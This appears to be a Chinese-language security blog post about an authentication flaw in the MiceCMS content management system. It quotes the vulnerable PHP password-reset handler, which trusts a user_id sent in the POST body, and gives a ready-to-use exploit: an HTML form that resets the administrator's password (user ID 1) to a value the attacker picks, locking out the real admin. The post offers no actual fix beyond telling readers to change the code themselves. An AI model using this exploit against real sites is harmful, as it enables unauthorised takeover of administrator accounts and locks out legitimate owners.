micecms一个"鸡肋"漏洞及修复 附EXP

作者:hack1990 时间:11-01-21 阅读数:700人阅读

不是说这个漏洞鸡肋需要什么条件 而是直接改管理员密码了 等你进后台后真正的管理员都进不到更不知道新密码是什么了  所以才鸡肋

经典对白 看代码!..........
index\setpwdAction.php
运行路径是 http://www.xxx.net/index.php/setpwd    呵呵 看上去有点奇特哦

<?php
class setpwdAction extends security_normal {
       
        function action(){
                $loginname=$this->_getParamId(1);
                $forgetpwd=$this->_getParamId(2);

                global $conn;
                if($_POST['user_id']){  //-0-!  居然不是获取Session里的而是自己定义...漏洞所在
                        $user=new model_User();   //连接数据库
                        $user->setSubsection('WHERE user_id='.$_POST['user_id']); //查询会员ID 注意 是ID 不是name 默认管理员的ID 绝对是1
                        $results=$user->doSelectOne();

                        $password1=$_POST['pwd1'];  //密码
                        $password2=$_POST['pwd2'];  //确认密码
                        $pwd='';
                        if($password1==$password2 and strlen($password1)>4)
                        {
                                $salt = md5(rand(100000, 999999).$_POST['loginname']);
                                //这个数值用作多重加密密码 不错的加密思路 同时写在USER表里
                                $pwd=sha1($salt.$password1);
                                 //不解析。。。 就是加密
                                
                        }

                        if($results)  //不解析
                        {
                                if(strlen($pwd)>0){    //没理由你打算空密码把?
                                        $user->setSalt($salt);
                                        $user->setPassword($pwd);
                                }
                                $user->setForgetpwd('');
                                $results=$user->doUpdate();
                                //写进去了...
                                if($results)
                                        $exeresult='密码修改成功,请使用新密码登录网站';
                                else
                                        $exeresult='验证错误,请联系网站管理员!';
//以下代码可以忽略

分析完毕  admin和会员同放在USER表里  所以这里直接修改了
后台登录地址  http://www.xxx.net/admin.php/login

EXP:
   <form method="post" action="http://www.xxx.net/index.php/setpwd" enctype="multipart/form-data" id="upload">
  <label>
  <input name="user_id" type="text" value="1" />
  </label>
    <label>
  <input name="pwd1" type="text" value="自己写" />
  </label>
    <label>
  <input name="pwd2" type="text" value="自己写" />
  </label>
    <label>
  <input name="loginname" type="text" value="admin" />
  </label>
    <div></div>
<input name="respondids" value="确定修改 " class="coolbg np" type="submit">
</form>

 

作者:心灵,情整理编辑

修复:看代码自己改吧


 

发表评论